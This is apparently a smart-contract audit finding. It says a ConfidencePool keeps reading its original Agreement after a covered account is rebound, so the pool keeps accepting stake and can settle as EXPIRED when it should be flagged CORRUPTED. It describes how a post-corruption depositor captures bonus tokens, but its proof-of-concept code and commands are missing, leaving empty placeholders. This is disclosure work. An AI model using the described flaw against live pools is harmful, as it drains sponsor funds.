Root + Impact

Description

ConfidencePool is intended to permanently lock a concrete, pool-local list of covered accounts once risk exposure begins. Even when the underlying Agreement later narrows its scope, the locked pool scope remains the binding commitment to stakers, and the moderator must be able to determine whether a corruption event affected that scope.

The issue is that ConfidencePool derives staking eligibility, withdrawal availability, moderator outcome validity, and expiry settlement exclusively from the Agreement address stored when the pool was created. BattleChain allows a covered account to be removed from that Agreement and rebound to a new authoritative Binding Agreement.

After account C moves from Agreement A to Agreement B, the stale pool still permanently lists C as its sole covered account, but it never reads C's current Binding Agreement. When B becomes CORRUPTED while A remains UNDER_ATTACK, the stale pool continues accepting stake, existing stakers remain unable to withdraw after risk exposure begins, the owner cannot remove C or change the locked expiry, and the moderator cannot flag the pool CORRUPTED. The pool can later settle as EXPIRED despite its sole covered account being authoritatively corrupted.

The root cause is that all of these decisions ultimately consume the state of the pool's original Agreement through _getAgreementState(). The locked account list is never resolved through getAgreementForContract(account) after scope lock:

Consequently, the implementation preserves every continuing restriction created by including C—immutable local scope, immutable expiry, and continued staker exposure—while losing the ability to recognize C's authoritative corruption independently of Agreement A's state.

Risk

Likelihood: Medium

• The issue occurs when an account remains in a locked pool scope after being removed from the pool's original Agreement, is rebound to a replacement Binding Agreement, and becomes corrupted while the original Agreement remains in a non-terminal state such as UNDER_ATTACK.

• Agreement narrowing and account rebinding are supported protocol lifecycle operations, and exploitation is permissionless. Once the replacement Agreement is corrupted, any address can deposit into an affected unpaused legacy pool until expiry, pausing, resolution, or an unrelated state transition of the original Agreement.

Impact: Medium to High

• The moderator cannot apply the supported CORRUPTED classification to a pool whose sole locally covered account has been authoritatively corrupted, allowing the pool to settle as EXPIRED contrary to its locked account scope.

• A post-corruption entrant can deposit under the stale Agreement state, recover its principal in the demonstrated lifecycle, and capture sponsor-funded bonus tokens. The integrated PoC extracts 69.964568180056584149 bonus tokens from one pool and 242.333013076287260647 bonus tokens across three affected pools.

Proof of Concept

Add the following test file at:

test/integration/POC_RealDetachedScopeInvariant.t.sol

Run:

Expected result:

Observed impact from the integrated test:

Recommended Mitigation

The pool should not derive account-specific corruption solely from the Agreement address stored at creation. Once scope is locked, each covered account should remain security-relevant regardless of later Agreement narrowing.

For CORRUPTED gating and post-corruption staking, resolve the current Binding Agreement of every locked scope account and determine whether any account is authoritatively corrupted.

Use the account-level result when accepting new stake:

Allow the moderator to classify the pool as CORRUPTED when either the original Agreement is corrupted or at least one account in the locked local scope is corrupted under its current authoritative Binding Agreement:

Expiry resolution must also avoid resolving the pool as EXPIRED while a locked scope account is authoritatively corrupted:

An alternative design is to permanently bind each locked scope account to the Agreement that governed it when the pool scope was locked. Under that design, BattleChain must prevent those accounts from being removed or rebound while an active pool still references them. Otherwise, the pool-local scope and authoritative registry state can diverge again.